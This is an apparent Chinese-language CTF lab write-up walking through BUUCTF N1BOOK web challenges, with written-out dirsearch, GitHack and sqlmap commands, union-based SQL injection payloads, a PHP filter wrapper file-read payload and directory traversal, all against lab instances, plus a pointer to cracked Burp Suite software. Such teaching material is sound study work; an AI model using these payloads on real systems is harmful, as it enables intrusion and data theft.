【CTF入门】BUUCTF N1BOOK闯关(持续更新)
【CTF入门】BUUCTF N1BOOK闯关(持续更新)
[第一章 web入门]常见的搜集
点击启动靶机,为我们生成了一个链接,这就是我们要攻击的地址。
点击链接进入,发现这个页面:
可以看出这道题目的考点是信息搜集敏感文件,在这里简单介绍下常见的敏感文件(来源于《从0到1CTFer成长之路》)
敏感目录泄露
通过敏感目录泄露,我们往往能获取网站的源代码和敏感的URL地址,如网站的后台地址等。
git泄露
git是一个主流的分布式版本控制系统,开发人员在开发过程中经常会遗忘.git文件夹,
导致攻击者可以通过.git文件夹中的信息获取开发人员提交过的所有源码,进而可能导致服务器被攻
击而沦陷。
SVN泄露
SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范将SVN隐藏文件夹暴露于外网环境,可以利用.svn/entries或wc.db文件获取服务器源码等信息。
HG泄露
在初始化项目时,HG会在当前文件夹下创建一个.hg隐藏文件夹,其中包含代码和分支修改记录等信息。
敏感备份文件
通过一些敏感的备份文件,我们往往能获得某一文件的源码,亦或网站的整体目录等。
gedit备份文件
在Linux下,用gedit编辑器保存后,当前目录下会生成一个后缀为“~”的文件,其文件内容就是刚编辑的内容。
常规文件
常规文件所依靠的无非就是字典的饱和性,不论是CTF比赛中还是现实世界中,我们都会碰到一些经典的有辨识的文件,从而让我们更好地了解网站。
整站信息
❖ robots.txt:在这个文件中网站管理者可以声明该网站中不想被robots(网络爬虫)访问的部分,或者指定搜索引擎只收录指定的内容。
❖ readme.md:记录CMS版本信息,有的甚至有Github地址。
❖ www/wwwdata/wwwroot/web/webroot/backup/dist &.zip/rar/tar.gz/7z/tar:有这些后缀的文件往往是网站的源码备份文件。
源码信息:
❖ index.php.swp:往往是php文件源码备份。
❖ index.php.swo:往往是php文件源码备份。
❖ index.php~:往往是php文件源码备份。
❖ index.php.bak:往往是php文件源码备份。
❖ index.php.txt:往往是php文件源码备份。
❖ index.php.old:往往是php文件源码备份。
备份文件位置:.DS_Store
回到题目,我们可以优先查看robots.txt来看看这个网站有什么见不得人的文件,发现了这个页面:
我们访问这个文件,得到了flag的第一段:
为了寻找其他敏感文件的位置,在此我们可以使用dirsearch工具来进行
dirsearch
dirsearch是一个用于探测WEB服务器下的敏感文件/目录的命令行工具
在命令行使用如下命令:
dirsearch -u http://6d5e206f-51b3-4487-a3e7-d4a0de638f52.node5.buuoj.cn:81 -i 200 -t 30 #地址换成靶机地址
-i 保留的响应状态码,这里我们保留响应状态码为200的结果,这个视频告诉你什么是响应状态码:https://www.bilibili.com/video/BV1jY411u7Zn?vd_source=69c558b0c7be97607c79afbd75bd1f7c
-t 设置线程数,线程数控制请求速率,这里我们取值30,线程数越大扫描速度越快而越可能出现429响应状态码(表示客户端发送的请求过多,超出了服务器的处理能力或限制)
发现除了我们之前调查过的robots.txt,还出现了两个文件,让我们访问看看:
上面是index.php的gedit备份文件,里面藏着flag的第二段。我们再访问另一个文件看看:
这是index.php文件的源码备份,访问后直接下载下来了,我们用记事本打开看看:
我们可以发现flag3就藏在里面,把三段flag组合,我们便得到了这一题的flag。
[第一章 web入门]粗心的小李
打开网站,我们看到这个页面:
与上一题思路一样,我们先用dirsearch来搜集敏感目录/文件
dirsearch -u http://a15db7b6-0227-4300-8e4b-5929d119e464.node5.buuoj.cn:81 -i 200 -t 30
我们发现存在.git文件夹泄露,我们直接访问http://a15db7b6-0227-4300-8e4b-5929d119e464.node5.buuoj.cn:81/.git发现是禁止访问的:
我们可以使用GitHack脚本提取出.git文件夹
GitHack
原理:(脚本小子待补充先放个链接在这:全网首发!Golang实现的Githack与原理详解 - FreeBuf网络安全行业门户)
我们在lijiejie/GitHack: A .git
folder disclosure exploit (github.com)上下载GitHack脚本,打开下载好的GitHack的路径文件夹下,在路径框里面输入cmd,即可打开电脑的命令提示符窗口:
在命令行使用GitHack脚本即可提取出git项目的原始文件:
打开即可发现flag:
考点:会用GitHack脚本。
[第一章 web入门]SQL注入-1
打开靶机链接,出现以下界面:
不必多言,SQL注入漏洞摆在眼前
SQL注入
原理:https://www.bilibili.com/video/BV1ZR4y1Y745?vd_source=69c558b0c7be97607c79afbd75bd1f7c
这和平时做的sql-lab的不同之处在于,这次我们是黑盒测试,没有源码的情况下想找到注入点我都想直接上工具...但这是一道题目,为了让大家理解手工测试的过程该走的流程还是得走。
SQL注入流程
-
找到注入点
一眼丁真,鉴定为“?id=1”为注入点:
-
判断注入类型
给id赋值:
id=1 and 1 = 1--+ id=1 and 1 = 2--+
页面没有变化,说明不是数字型注入;我们再次尝试:
id=1' and 1 = 1--+ id=1' and 1 = 2--+
页面出现错误,说明id值存在字符型注入点
-
判断字符段数量
id=1' order by 3 --+ id=1' order by 4 --+
输入id=1' order by 3 --+产生回显
输入id=1' order by 4 --+ 未产生回显
证明字段数为三位
-
使用union select查数据库名:
?id=-1' union select 1,database(),3 --+
数据库名为“note”
-
接着查表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
表名有fl4g,notes
-
flag大概率在fl4g表中,于是查看表内字段名:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+
-
flag应该就在fllllag字段内,查看fllllag数据:
?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+
得到了flag
考点:理解sql注入基本原理、按照基本流程手工sql注入
[第一章 web入门]SQL注入-2
打开靶机链接,出现以下界面:
按照题目提示,我们应该访问 /login.php、 /user.php文件:
按照sql注入流程,我们开始寻找注入点——能够供用户输入的地方都有可能成为注入点,所以账户密码输入栏就是我们可以成为的注入点。
因为账户输入栏内的内容是字符串,所以输入栏是字符类型注入点。
明白了这些,我们便开始注入:
admin' and 1=1--+
账号不存在,从这里开始页面好像不会再出现错误回显了,我们应该怎么办?这里我们需要用到自动注入工具Sqlmap了。
Sqlmap
sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
官网下载地址:https://github.com/sqlmapproject/sqlmap
我们知道Sqlmap能自动为我们做到Sql注入流程,我们可以回到上一关,使用Sqlmap脚本自动做到SQL注入。
首先打开下载好的sqlmap.py的路径文件夹下,在路径框里面输入cmd,即可打开电脑的命令提示符窗口:
在命令提示符中我们输入以下命令即可查找网站URL的注入点:
python sqlmap.py -u http://d5e36fcc-6c20-4049-9359-5e6a38b3a958.node5.buuoj.cn:81/index.php?id=1 -batch
-u 指定要测试的URL
-batch 可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入(询问执行包括:看起来后端DBMS是“MySQL”。您想跳过特定于其他DBMS的测试有效载荷吗?对于其余的测试,您是否希望包括扩展提供的级别(1)和风险(1)值的“MySQL”的所有测试?GET参数“id”易受攻击。你想继续测试其他参数(如果有的话)吗?等等)建议尽量不开。
根据我们直接测试上一关的结果,我们可以发现sqlmap直接发现了参数”id“可以作为注入点,那么接下来的操作就显而易见了,我们首先查看所有数据库:
python sqlmap.py -u http://d5e36fcc-6c20-4049-9359-5e6a38b3a958.node5.buuoj.cn:81/index.php?id=1 -dbs
-dbs 查看所有数据库
然后是查看所有数据表:
python sqlmap.py -u http://d5e36fcc-6c20-4049-9359-5e6a38b3a958.node5.buuoj.cn:81/index.php?id=1 -D note -tables
-D 指定数据库
-tables 查看指定数据库下的数据表
接着是指定数据表中的所有字段:
python sqlmap.py -u http://d5e36fcc-6c20-4049-9359-5e6a38b3a958.node5.buuoj.cn:81/index.php?id=1 -D note -T fl4g -columns
-T 指定数据表
-columns 查看指定数据表下的字段
最后我们查看所有数据:
python sqlmap.py -u http://d5e36fcc-6c20-4049-9359-5e6a38b3a958.node5.buuoj.cn:81/index.php?id=1 -D note -T fl4g -C fllllag f-dump
-C 指定字段
-dump 查看所有指定字段中的数据
这样就成功过了上一关。
那么这一关我们故技重施,也是直接输入以下命令即可查找网站的注入点是不是也可以呢?
python sqlmap.py -u http://6f3bead1-68d2-42bc-9ceb-1f434e38295d.node5.buuoj.cn:81/login
Sqlmap找不到注入点了!!!
不过也是,之前我们的注入点“id”参数就藏在它的URL里面了;这一关我们的注入点是账号和密码的输入框,这个注入点我们应该怎么表达,又应该怎样把注入点的位置告诉Sqlmap呢?
GET请求和POST请求
简单来说,两个请求都是我们在向服务器传递参数的方法,GET请求写在URL里面,POST请求写在HTTP协议数据包里面。就比如上一关我们把“id=1”的请求直接写在了URL里面,这一关我们登录的账号密码没有出现在URL栏里面,我们明面上看不到POST请求发送的参数。
更深入的介绍:GET和POST两种基本请求方法的区别 - yinrw - 博客园 (cnblogs.com)
我们看不到POST请求发送的参数,那又该怎样把注入点的位置告诉Sqlmap啊?
Brup Suite
Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对Web应用程序的渗透测试和攻击。官网下载:Burp Suite - Application Security Testing Software - PortSwigger
(社区版免费,专业版需要付费,有专业版需求的去下载破解版:BurpSuite v2024.6汉化无cmd框版(2024.06.28更新) - 『逆向资源区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn,破解版破解过程有些复杂在此不做赘述)
一般来说我们访问网站的流程是这样的:
有了Brup Suite后我们就可以利用这个工具拦截数据包,方便我们查看和修改了:
那么我们打开Burp Suite,映入我们眼帘的是仪表盘:
我们日后再介绍这个功能,首先我们要做的是进入代理页面标签:
为了让Burp Suite能够拦截住我们的请求包,我们应该给本机的浏览器代理进行配置:第二章 Burp Suite代理和浏览器设置 · burpsuite实战指南 (gitbooks.io)
但这题为了先深入重点,我们在这里直接打开Burp Suite的内嵌浏览器,使用内嵌浏览器进入题目页面:
我们点击打开拦截的按钮,这样接下来内嵌浏览器发送或者接收到的数据包都会被捕获。于是我们在账户、密码栏输入内容,点击登录即发送一个POST请求并且被Burp Suite拦截下来:
我们可以看见左边我们POST请求的参数在HTTP协议请求报文的最底下,包括了”name“和“pass”参数。
我们鼠标右键,将POST请求数据包保存下来:
将数据包保存为.txt格式,为了照顾新手,建议将文件保存在sqlmap.py的同一目录下:
这次我们再次使用Sqlmap寻找注入点:
python sqlmap.py -r 1.txt
最终,Sqlmap确定了POST请求中的“name”参数为注入点,接下来我们就可以开始注入了:
python sqlmap.py -r 1.txt -dbs
python sqlmap.py -r 1.txt -D note -tables
python sqlmap.py -r 1.txt -D note -T fl4g -columns
python sqlmap.py -r 1.txt -D note -T fl4g -C flag -dump
这样我们就得到了flag
补充
这道题目还有利用报错提示做报错注入的过关方法,其他人的博客写得很详细在此就不做赘述了。(毕竟不知道真实场景会不会有那么多报错点给你看)
补充的补充:Burp Suite代理和浏览器设置
Brup Suite能抓包,但为什么我们浏览器发出来的请求它却不闻不见呢?
我们打开Brup Suite的设置:
发现代理监听器里面只有一个127.0.0.1:8080的接口,也就是说它只会监听这个接口收发的数据包。
我们可以尝试添加浏览器收发数据包的接口,或者是直接更改浏览器收发数据包的代理接口。
由于浏览器更改代理接口的插件非常方便快捷,因此我们选择后者,使用相关的代理插件更改收发数据包的代理接口(这里我用的是谷歌浏览器的SwitchySharp的插件):
此时,我们已经能够代理和转发来自浏览器的HTTP请求,但是对HTTPS请求无能为力。
因为HTTPS协议会防止“中间人”攻击,此时拦截数据包的Brup Suite正是一个“中间人”,所以我们要让浏览器认可Brup Suite这位“中间人”。
怎样做到?只需要让浏览器信任Brup的证书即可。我们在浏览器中访问Brup的监听端口:127.0.0.1:8080
点击右上角的CA Certificate即可保存证书文件,接下来我们将在浏览器的设置中导入证书文件:
打开代理插件,我们就可以拦截数据包了:
[第一章 web入门]afr_1
打开靶机链接,出现以下界面:
根据题目提示,这题目的考点在于任意文件读取漏洞(Arbitrary File Read Vulnerability),是指攻击者可以通过某些漏洞,绕过应用程序的限制,直接读取应用程序之外的文件。
这种漏洞通常是由于应用程序没有对用户输入进行充分的验证和过滤而导致的。攻击者可以通过构造恶意的请求来利用该漏洞,从而读取或下载他们本来无权访问的文件,如密码、私钥、证书等,会提供攻击者更多可用信息,提高被入侵的风险。
这样的话,我们首先寻找注入点,很快我们发现URL中含有GET请求的参数“p”,这就是我们的注入点。
因为这题目的考点在于文件读取漏洞,那么“p=hello”很有可能是在读取名为hello的文件,按照题目套路,我们尝试读取flag文件:
可以发现阻止我们查看flag的页面
PHP伪协议
原理:PHP向用户提供的指定待打开文件的方式,是一个文件流。
PHP的Filter机制,可对目前的协议进行一定的处理,比如将当前文件流的内容进行Base64编码。
明白了以上原理后,我们使用以下命令注入参数:
php://filter/read=convert.base64-encode/resource=flag
php:// 访问各个输入/输出流
php://filter 用于读取源码
read 读取文件内容
convert.base64-encode 进行base64编码
resource 指定了你要筛选过滤的数据流
更详细的内容参考文章:php伪协议总结 - My_Dreams - 博客园 (cnblogs.com)
读取到了经base64编码后的flag文件内容,我们进行解码得到了被注释隐藏了的flag:
考点:理解任意文件读取漏洞、会使用PHP伪协议
[第一章 web入门]afr_2
打开靶机链接,出现以下界面:
我们只发现一张图片,对这张图片进行分析,在新标签页打开该图片可以查看到该图片的路径:
我们访问/img目录:
我们可以利用目录遍历漏洞,访问/img../继续返回该目录的上一层:
可以发现flag就在最底下,得到flag
目录遍历漏洞
目录遍历也称目录穿越,是一个常见的Web安全漏洞,攻击者可以利用该漏洞可以读取运行应用程序的服务器上的任意文件。这可能包括应用程序代码和数据,后端系统的登录信息以及敏感的操作系统文件。
该漏洞最大的危害是能够让任意用户访问系统的敏感文件,继而攻陷整个服务器。
考点:理解目录遍历漏洞
[第一章 web入门]afr_3
还不会,慢慢学习补充……